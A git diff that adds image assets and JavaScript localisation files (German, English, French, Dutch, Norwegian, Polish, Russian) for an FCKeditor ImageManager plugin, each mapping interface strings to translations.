diff --git a/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif b/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif
new file mode 100755 (executable)
index 0000000..496c2f8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermark.gif b/fckeditor/editor/plugins/ImageManager/img/watermark.gif
new file mode 100755 (executable)
index 0000000..e278c23
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermark.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png b/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png
new file mode 100755 (executable)
index 0000000..3550886
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif b/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif
new file mode 100755 (executable)
index 0000000..d9fd370
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif b/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif
new file mode 100755 (executable)
index 0000000..4aca50b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/lang/de.js b/fckeditor/editor/plugins/ImageManager/lang/de.js
new file mode 100755 (executable)
index 0000000..555f9b4
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8
+// Author: Udo Schmal (gocher), http://www.schaffrath-neuemedien.de/, udo.schmal@t-online.de
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo",
+       "Replace"                                                                               : "Ersetzen ",
+       "Watermark"                                                                     : "Wasserzeichen",
+       "Image Manager"                                                 : "Bildmanager",
+       "Insert Image"                                                          : "Bild einfügen",
+       "Directory"                                                                             : "Ordner",
+       "Directory Up"                                                          : "übergeordneter Ordner",
+       "New Folder"                                                                    : "Neuer Ordner",
+       "Trash"                                                                                 : "Müll",
+       "Edit"                                                                                  : "bearbeiten",
+       "Image File"                                                                    : "Bilddatei",
+       "Upload"                                                                                : "Hochladen",
+       "Width"                                                                                 : "Breite",
+       "Height"                                                                                        : "Höhe",
+       "Width:"                                                                                : "Breite:",
+       "Height:"                                                                               : "Höhe:",
+       "Constrain Proportions"                                 : "Proportional",
+       "Border"                                                                                : "Rand",
+       "V Space"                                                                               : "vertikaler Freiraum",
+       "H Space"                                                                               : "horizontaler Freiraum",
+       "Refresh"                                                                               : "Aktualisieren",
+       "Uploading..."                                                                  : "Hochladen...",
+       "Crop"                                                                                  : "Beschneiden",
+       "Resize"                                                                                : "Größe ändern",
+       "Rotate"                                                                                : "Drehen",
+       "Measure"                                                                               : "Abmessungen",
+       "Marker"                                                                                : "Marker",
+       "Save"                                                                                  : "Speichern",
+       "Filename:"                                                                     : "Dateiname:",
+       "Image Format"                                                          : "Bildformat",
+       "Quality:"                                                                              : "Qualität:",
+       "JPEG High"                                                                     : "JPEG hoch",
+       "JPEG Medium"                                                           : "JPEG mittel",
+       "JPEG Low"                                                                      : "JPEG niedrig",
+       "File saved."                                                                   : "Datei gespeichert.",
+       "File was not saved."                                           : "Datei wurde nicht gespeichert.",
+       "Start X:"                                                                              : "Start X:",
+       "Start Y:"                                                                              : "Start Y:",
+       "Lock"                                                                                  : "Sperren",
+       "Flip Image"                                                                    : "Bild spiegeln",
+       "Flip Horizontal"                                                               : "horizontal spiegeln",
+       "Flip Vertical"                                                                 : "vertikal spiegeln",
+       "Rotate Image"                                                          : "Bild drehen",
+       "Rotate 180 °"                                                         : "180° drehen",
+       "Rotate 90 ° CW"                                                       : "90° drehen im UZS",
+       "Rotate 90 ° CCW"                                                      : "90° drehen gegen UZS",
+       "Angle:"                                                                                        : "Winkel:",
+       "W:"                                                                                            : "B:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "W:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Entfernen",
+       "Loading"                                                                               : "Laden",
+       "Invalid base directory:"                                       : "Ungültiges Startverzeichnis:",
+       "Delete file?"                                                                  : "Datei löschen?",
+       "Delete folder?"                                                                : "Ordner löschen?",
+       "Folder Name:"                                                          : "Ordnername:",
+       "No Images Found"                                               : "Kein Bild gefunden",
+       "No Image Available"                                            : "Kein Bild verfügbar",
+       "No Image selected."                                            : "Kein Bild ausgewählt.",
+       "Color:"                                                                                        : "Farbe:",
+       "Align:"                                                                                        : "Ausrichtung:",
+       "Description:"                                                                  : "Beschreibung:",
+       "Margin:"                                                                               : "Außenabstand:",
+       "Padding:"                                                                              : "Innenabstand:",
+       "Border:"                                                                               : "Rand:",
+       "Upload:"                                                                               : "Hochladen:",
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "höhe",
+       "width"                                                                                 : "breite ",
+       "angle"                                                                                 : "winkel ",
+       "opacity"                                                                               : "opazität",
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Bitte löschen Sie zuerst alle Dateien im Ordner den Sie löschen möchten.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Ungültiger Ordnername, bitte wählen sie einen anderen Namen.",
+       "GIF format is not supported, image editing not supported."                                                             : "GIF Format wird nicht unterstützt, Bildbearbeitung wird nicht unterstützt.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/en.js b/fckeditor/editor/plugins/ImageManager/lang/en.js
new file mode 100755 (executable)
index 0000000..c28a005
--- /dev/null
@@ -0,0 +1,23 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       // doesn't need to be translated. Default language is english.
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/fr.js b/fckeditor/editor/plugins/ImageManager/lang/fr.js
new file mode 100755 (executable)
index 0000000..7a8e106
--- /dev/null
@@ -0,0 +1,105 @@
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8
+// Author: Thierry Bothorel (update)
+// $Id: fr.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Démo",
+       "Replace"                                                                               : "Remplacer ",
+       "Watermark"                                                                     : "Filigraner",
+       "Image Manager"                                                 : "Bibliothèque d'images",
+       "Insert Image"                                                          : "Insérer une image",
+       "Directory"                                                                             : "Répertoire",
+       "Directory Up"                                                          : "Remonter",
+       "New Folder"                                                                    : "Nouveau répertoire",
+       "Trash"                                                                                 : "Détruire",
+       "Edit"                                                                                  : "Editer",
+       "Image File"                                                                    : "Fichier",
+       "Upload"                                                                                : "Télécharger",
+       "Width"                                                                                 : "Largeur",
+       "Height"                                                                                        : "Hauteur",
+       "Width:"                                                                                : "Largeur:",
+       "Height:"                                                                               : "Hauteur:",
+       "Constrain Proportions"                                 : "Conserver les proportions",
+       "Border"                                                                                : "Bordure",
+       "V Space"                                                                               : "Espace V",
+       "H Space"                                                                               : "Espace H",
+       "Refresh"                                                                               : "Rafraîchir",
+       "Uploading..."                                                                  : "Chargement...",
+       "Crop"                                                                                  : "Recadrer",
+       "Resize"                                                                                : "Retailler",
+       "Rotate"                                                                                : "Pivoter",
+       "Measure"                                                                               : "Mesure",
+       "Marker"                                                                                : "Marqueur",
+       "Save"                                                                                  : "Sauver",
+       "Filename:"                                                                     : "Nom:",
+       "Image Format"                                                          : "Format d'image",
+       "Quality:"                                                                              : "Qualité:",
+       "JPEG High"                                                                     : "JPEG haut",
+       "JPEG Medium"                                                           : "JPEG moyen",
+       "JPEG Low"                                                                      : "JPEG bas",
+       "File saved."                                                                   : "Fichier sauvegardé.",
+       "File was not saved."                                           : "Fichier non sauvegardé.",
+       "Start X:"                                                                              : "Début X:",
+       "Start Y:"                                                                              : "Début Y:",
+       "Lock"                                                                                  : "Cadenas",
+       "Flip Image"                                                                    : "Symétrie",
+       "Flip Horizontal"                                                               : "Symétrie horizontale",
+       "Flip Vertical"                                                                 : "Symétrie verticale",
+       "Rotate Image"                                                          : "Rotation",
+       "Rotate 180 °"                                                         : "Rotation 180°",
+       "Rotate 90 ° CW"                                                       : "Rotation 90° horaire",
+       "Rotate 90 ° CCW"                                                      : "Rotation 90° antihoraire",
+       "Angle:"                                                                                        : "Angle:",
+       "W:"                                                                                            : "L:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "A:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Effacer",
+       "Loading"                                                                               : "Chargement en cours",
+       "Invalid base directory:"                                       : "Répertoire de base invalide:",
+       "Delete file?"                                                                  : "Suppression du fichier ?",
+       "Delete folder?"                                                                : "Suppression du répertoire ?",
+       "Folder Name:"                                                          : "Nom du répertoire:",
+       "No Images Found"                                               : "Aucune image trouvée",
+       "No Image Available"                                            : "Aucune image disponible",
+       "No Image selected."                                            : "Aucune image sélectionnée.",
+       "Color:"                                                                                        : "Couleur:",
+       "Align:"                                                                                        : "Alignement:",
+       "Description:"                                                                  : "Description:",
+       "Margin:"                                                                               : "Marge:",
+       "Padding:"                                                                              : "Espacement:",
+       "Border:"                                                                               : "Bordure:",
+       "Upload:"                                                                               : "Télétransmission:",
+       "File name was changed into "           : "Le nom du fichier a été changé en ",
+       "start x coordinate"                                                    : "début coordonnée x",
+       "start y coordinate"                                                    : "début coordonnée y",
+       "height"                                                                                        : "hauteur",
+       "width"                                                                                 : "longueur",
+       "angle"                                                                                 : "angle",
+       "opacity"                                                                               : "opacité",
+       "diagonal length"                                                       : "longueur diagonale",
+       "Watermarking is disabled."                     : "Filigranes désactivés.",
+       "No watermarks were found or all watermarks are to big for the target image."           : "Aucun filigrane trouvé ou tous les filigranes sont trop grands pour cette image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Veuillez tout d'abord supprimer tous les fichiers et répertoires contenus",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nom de répertoire invalide, veuillez choisir un autre nom",
+       "GIF format is not supported, image editing not supported."                                                             : "Format GIF non supporté, édition d'image non supportée",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Ne FERMEZ PAS CETTE FENETRE pendant l'envoi d'une nouvelle image sinon l'image originale sera quand même supprimée !",
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Erreur: Impossible d'actualiser la fenêtre de l'éditeur.\nL'image qui a été éditée et sauvegardée apparaitra toujours comme non modifiée !\nVeuillez sauvegarder et recharger le contenu de l'éditeur."
+};
diff --git a/fckeditor/editor/plugins/ImageManager/lang/nl.js b/fckeditor/editor/plugins/ImageManager/lang/nl.js
new file mode 100755 (executable)
index 0000000..e8fae51
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "nl", ENCODING: UTF-8
+// Author: Paul Moers, http://fckplugins.saulmade.nl
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo",
+       "Replace"                                                                               : "Vervang",
+       "Watermark"                                                                     : "Watermerk",
+       "Image Manager"                                                 : "Afbeelding Beheerder",
+       "Insert Image"                                                          : "Afbeelding invoegen",
+       "Directory"                                                                             : "Folder",
+       "Directory Up"                                                          : "Bovenliggende folder",
+       "New Folder"                                                                    : "Nieuwe folder",
+       "Trash"                                                                                 : "Verwijder",
+       "Edit"                                                                                  : "Bewerk",
+       "Image File"                                                                    : "Afbeelding",
+       "Upload"                                                                                : "Upload",
+       "Width"                                                                                 : "Breedte",
+       "Height"                                                                                        : "Hoogte",
+       "Width:"                                                                                : "Breedte:",
+       "Height:"                                                                               : "Hoogte:",
+       "Constrain Proportions"                                 : "Behoudt verhouding",
+       "Border"                                                                                : "Rand",
+       "V Space"                                                                               : "V Afstand",
+       "H Space"                                                                               : "H Afstand",
+       "Refresh"                                                                               : "Ververs",
+       "Uploading..."                                                                  : "Bezig met uploaden...",
+       "Crop"                                                                                  : "Bijsnijden",
+       "Resize"                                                                                : "Verander grootte",
+       "Rotate"                                                                                : "Roteer",
+       "Measure"                                                                               : "Meet",
+       "Marker"                                                                                : "Markeer",
+       "Save"                                                                                  : "Opslaan",
+       "Filename:"                                                                     : "Bestandsnaam:",
+       "Image Format"                                                          : "Afbeeldingsformaat",
+       "Quality:"                                                                              : "Kwaliteit:",
+       "JPEG High"                                                                     : "JPEG Hoog",
+       "JPEG Medium"                                                           : "JPEG Medium",
+       "JPEG Low"                                                                      : "JPEG Laag",
+       "File saved."                                                                   : "Bestand opgeslagen.",
+       "File was not saved."                                           : "Bestand werd niet opgeslagen.",
+       "Start X:"                                                                              : "Start X:",
+       "Start Y:"                                                                              : "Start Y:",
+       "Lock"                                                                                  : "Sluit",
+       "Flip Image"                                                                    : "Spiegel afbeelding",
+       "Flip Horizontal"                                                               : "Spiegel horizontaal",
+       "Flip Vertical"                                                                 : "Spiegel verticaal",
+       "Rotate Image"                                                          : "Roteer afbeelding",
+       "Rotate 180 °"                                                         : "Roteer 180°",
+       "Rotate 90 ° CW"                                                       : "Roteer 90° rechtsom",
+       "Rotate 90 ° CCW"                                                      : "Roteer 90° linksom",
+       "Angle:"                                                                                        : "Hoek:",
+       "W:"                                                                                            : "B:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "H:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Wis",
+       "Loading"                                                                               : "Bezig met laden",
+       "Invalid base directory:"                                       : "Foutieve basisdirectory:",
+       "Delete file?"                                                                  : "Verwijder bestand?",
+       "Delete folder?"                                                                : "Verwijder folder?",
+       "Folder Name:"                                                          : "Foldernaam:",
+       "No Images Found"                                               : "Geen afbeeldingen gevonden",
+       "No Image Available"                                            : "Geen afbeeldingen beschikbaar",
+       "No Image selected."                                            : "Geen afbeelding geselecteerd.",
+       "Color:"                                                                                        : "Kleur:",
+       "Align:"                                                                                        : "Uitlijnen:",
+       "Description:"                                                                  : "Beschrijving:",
+       "Margin:"                                                                               : "Marge:",
+       "Padding:"                                                                              : "Vulling:",
+       "Border:"                                                                               : "Rand:",
+       "Upload:"                                                                               : "Upload:",
+       "File name was changed into "           : "Bestandsnaam werd veranderd in ",
+       "start x coordinate"                                                    : "start x coördinaat",
+       "start y coordinate"                                                    : "start y coördinaat",
+       "height"                                                                                        : "hoogte",
+       "width"                                                                                 : "breedte",
+       "angle"                                                                                 : "hoek",
+       "opacity"                                                                               : "opacity",
+       "diagonal length"                                                       : "diagonale lengte",
+       "Watermarking is disabled."                     : "Watermarking is disabled.",
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Verwijder a.u.b. eerst alle bestanden en folders in de folder die u wilt verwijderen.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Foutieve foldernaam, kies a.u.b. een andere foldernaam.",
+       "GIF format is not supported, image editing not supported."                                                             : "GIF formaat wordt niet ondersteund, afbeelding bewerken wordt niet ondersteund.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Sluit het venster a.u.b. niet af tijdens het uploaden! Wanneer u toch het venster sluit zal de originele afbeelding verwijderd worden.",
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Fout: Kon het editor scherm niet up-to-date brengen.\nElke bewerkte afbeelding zal nog steeds getoond worden als de oude versie!\nBewaar a.u.b. de editor inhoud en herlaadt."
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/no.js b/fckeditor/editor/plugins/ImageManager/lang/no.js
new file mode 100755 (executable)
index 0000000..164f75c
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N constants
+
+// LANG: "no", ENCODING: UTF-8
+// Author: Kim Steinhaug, http://www.steinhaug.com/, kim@steinhaug.com
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Image Manager"                                                 : "Bildebehandler",
+       "Crop"                                                                                  : "Beskjær"
+       // copy strings from other language files to extend translation
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/pl.js b/fckeditor/editor/plugins/ImageManager/lang/pl.js
new file mode 100755 (executable)
index 0000000..27c836f
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8
+// Author: Krzysztof Kotowicz, http://www.eskot.krakow.pl/portfolio/, koto@webworkers.pl
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo", // not translated yet
+       "Replace"                                                                               : "Replace ", // not translated yet
+       "Watermark"                                                                     : "Watermark", // not translated yet
+       "Image Manager"                                                 : "Menedżer obrazków",
+       "Insert Image"                                                          : "Wstaw obrazek",
+       "Directory"                                                                             : "Katalog",
+       "Directory Up"                                                          : "Katalog wyżej",
+       "New Folder"                                                                    : "Nowy katalog",
+       "Trash"                                                                                 : "Usuń",
+       "Edit"                                                                                  : "Edytuj",
+       "Image File"                                                                    : "Plik obrazka",
+       "Upload"                                                                                : "Wgraj",
+       "Width"                                                                                 : "Szerokość",
+       "Height"                                                                                        : "Wysokość",
+       "Width:"                                                                                : "Szerokość:",
+       "Height:"                                                                               : "Wysokość:",
+       "Constrain Proportions"                                 : "Zachowaj proporcje",
+       "Border"                                                                                : "Ramka",
+       "V Space"                                                                               : "Odległość V",
+       "H Space"                                                                               : "Odległość H",
+       "Refresh"                                                                               : "Odśwież",
+       "Uploading..."                                                                  : "Wgrywanie...",
+       "Crop"                                                                                  : "Przytnij",
+       "Resize"                                                                                : "Przeskaluj",
+       "Rotate"                                                                                : "Obróć",
+       "Measure"                                                                               : "Zmierz",
+       "Marker"                                                                                : "Zaznacz",
+       "Save"                                                                                  : "Zapisz",
+       "Filename:"                                                                     : "Nazwa pliku:",
+       "Image Format"                                                          : "Format pliku",
+       "Quality:"                                                                              : "Jakość:",
+       "JPEG High"                                                                     : "JPEG wysoka",
+       "JPEG Medium"                                                           : "JPEG średnia",
+       "JPEG Low"                                                                      : "JPEG niska",
+       "File saved."                                                                   : "Zapisano plik.",
+       "File was not saved."                                           : "Nie zapisano pliku.",
+       "Start X:"                                                                              : "Początek X:",
+       "Start Y:"                                                                              : "Początek Y:",
+       "Lock"                                                                                  : "Zablokuj",
+       "Flip Image"                                                                    : "Odwróć",
+       "Flip Horizontal"                                                               : "Odwróć poziomo",
+       "Flip Vertical"                                                                 : "Odwróć pionowo",
+       "Rotate Image"                                                          : "Obróć",
+       "Rotate 180 °"                                                         : "Obróć 180°",
+       "Rotate 90 ° CW"                                                       : "Obróć 90° w prawo",
+       "Rotate 90 ° CCW"                                                      : "Obróć 90° w lewo",
+       "Angle:"                                                                                        : "Kąt:",
+       "W:"                                                                                            : "S:",
+       "H:"                                                                                            : "W:",
+       "A:"                                                                                            : "A:", // not translated yet - (A)ngel
+       "D:"                                                                                            : "D:", // not translated yet - (D)iagonal
+       "Clear"                                                                                 : "Wyczyść",
+       "Loading"                                                                               : "Ładowanie",
+       "Invalid base directory:"                                       : "Nieprawidłowy katalog bazowy:",
+       "Delete file?"                                                                  : "Usunąć plik?",
+       "Delete folder?"                                                                : "Usunąć katalog ?",
+       "Folder Name:"                                                          : "Nazwa katalogu:",
+       "No Images Found"                                               : "Nie znaleziono obrazków",
+       "No Image Available"                                            : "Obrazek niedostępny",
+       "No Image selected."                                            : "Nie zaznaczono obrazka.",
+       "Color:"                                                                                        : "Kolor:",
+       "Align:"                                                                                        : "Wyrównanie:",
+       "Description:"                                                                  : "Opis:",
+       "Margin:"                                                                               : "Margines:",
+       "Padding:"                                                                              : "Wcięcie:",
+       "Border:"                                                                               : "Ramka:",
+       "Upload:"                                                                               : "Wgraj:",
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "height", // not translated yet
+       "width"                                                                                 : "width", // not translated yet
+       "angle"                                                                                 : "angle", // not translated yet
+       "opacity"                                                                               : "opacity", // not translated yet
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Najpierw usuń wszystkie pliki i podkatalogi katalogu.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nieprawidłowa nazwa katalogu, wybierz inną.",
+       "GIF format is not supported, image editing not supported."                                                             : "Brak obsługi plików GIF, edycja jest niemożliwa.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/ru.js b/fckeditor/editor/plugins/ImageManager/lang/ru.js
new file mode 100755 (executable)
index 0000000..8ecd9fd
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "ru", ENCODING: UTF-8
+// Author: Andrei Blagorazumov, a@fnr.ru
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo", // not translated yet
+       "Replace"                                                                               : "Replace ", // not translated yet
+       "Watermark"                                                                     : "Watermark", // not translated yet
+       "Image Manager"                                                 : "Менеджер картинок",
+       "Insert Image"                                                          : "Вставка картинки",
+       "Directory"                                                                             : "Папка",
+       "Directory Up"                                                          : "Папка наверх",
+       "New Folder"                                                                    : "Новая папка",
+       "Trash"                                                                                 : "Корзина",
+       "Edit"                                                                                  : "Правка",
+       "Image File"                                                                    : "Файл картинки",
+       "Upload"                                                                                : "Загрузить",
+       "Width"                                                                                 : "Ширина",
+       "Height"                                                                                        : "Высота",
+       "Width:"                                                                                : "Ширина:",
+       "Height:"                                                                               : "Высота:",
+       "Constrain Proportions"                                 : "Сохранить пропорции",
+       "Border"                                                                                : "Рамка",
+       "V Space"                                                                               : "Поле V",
+       "H Space"                                                                               : "Поле H",
+       "Refresh"                                                                               : "Обновить",
+       "Uploading..."                                                                  : "Загрузка...",
+       "Crop"                                                                                  : "Обрезать",
+       "Resize"                                                                                : "Масшабировать",
+       "Rotate"                                                                                : "Повернуть",
+       "Measure"                                                                               : "Измерение",
+       "Marker"                                                                                : "Маркер",
+       "Save"                                                                                  : "Сохранить",
+       "Filename:"                                                                     : "Имя файла:",
+       "Image Format"                                                          : "Формат картинки",
+       "Quality:"                                                                              : "Качество:",
+       "JPEG High"                                                                     : "JPEG высок.",
+       "JPEG Medium"                                                           : "JPEG средн.",
+       "JPEG Low"                                                                      : "JPEG низк.",
+       "File saved."                                                                   : "Файл сохранен.",
+       "File was not saved."                                           : "Файл не сохранен.",
+       "Start X:"                                                                              : "Начало X:",
+       "Start Y:"                                                                              : "Начало Y:",
+       "Lock"                                                                                  : "Блокировка",
+       "Flip Image"                                                                    : "Развернуть картинку",
+       "Flip Horizontal"                                                               : "Развернуть по горизонтали",
+       "Flip Vertical"                                                                 : "Развернуть по вертикали",
+       "Rotate Image"                                                          : "Повернуть картинку",
+       "Rotate 180 °"                                                         : "Повернуть на 180°",
+       "Rotate 90 ° CW"                                                       : "Повернуть на 90° по часовой",
+       "Rotate 90 ° CCW"                                                      : "Повернуть на 90° против часовой",
+       "Angle:"                                                                                        : "Угол:",
+       "W:"                                                                                            : "Ш:",
+       "H:"                                                                                            : "В:",
+       "A:"                                                                                            : "A:", //  not translated yet - (A)ngel
+       "D:"                                                                                            : "D:", // not translated yet - (D)iagonal
+       "Clear"                                                                                 : "Очистить",
+       "Loading"                                                                               : "Загрузка",
+       "Invalid base directory:"                                       : "Неверная базовая папка:",
+       "Delete file?"                                                                  : "Удалить файл?",
+       "Delete folder?"                                                                : "Удалить папку?",
+       "Folder Name:"                                                          : "Название папки:",
+       "No Images Found"                                               : "Картинок не найдено",
+       "No Image Available"                                            : "Нет доступных картинок",
+       "No Image selected."                                            : "Картинки не выбраны.",
+       "Color:"                                                                                        : "Цвет:",
+       "Align:"                                                                                        : "Выравнивание:",
+       "Description:"                                                                  : "Description:", // not translated yet
+       "Margin:"                                                                               : "Отступ:",
+       "Padding:"                                                                              : "Поля:",
+       "Border:"                                                                               : "Рамка:",
+       "Upload:"                                                                               : "Upload:", // not translated yet
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "height", // not translated yet
+       "width"                                                                                 : "width", // not translated yet
+       "angle"                                                                                 : "angle", // not translated yet
+       "opacity"                                                                               : "opacity", // not translated yet
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Пожалуйста удалите все файлы/папки в папке, которую вы хотите удалить.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Неправильное имя папки, пожалуйста выберите другое.",
+       "GIF format is not supported, image editing not supported."                                                             : "Формат GIF не поддерживается, редактирование картинки не поддерживается.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/sv.js b/fckeditor/editor/plugins/ImageManager/lang/sv.js
